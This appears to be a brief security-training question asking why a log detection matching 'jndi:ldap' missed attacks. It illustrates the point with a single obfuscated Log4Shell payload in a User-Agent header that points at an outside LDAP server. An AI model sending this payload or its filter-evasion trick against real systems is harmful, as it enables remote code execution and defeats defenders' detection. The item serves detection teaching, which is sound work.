Why the JNDI rule missed attacks

A detection searched web logs for the string "jndi:ldap" but missed many exploitation attempts like the one below. What is the main lesson?

User-Agent: ${${lower:j}${::-n}di:${lower:l}dap://198.51.100.7:1389/a}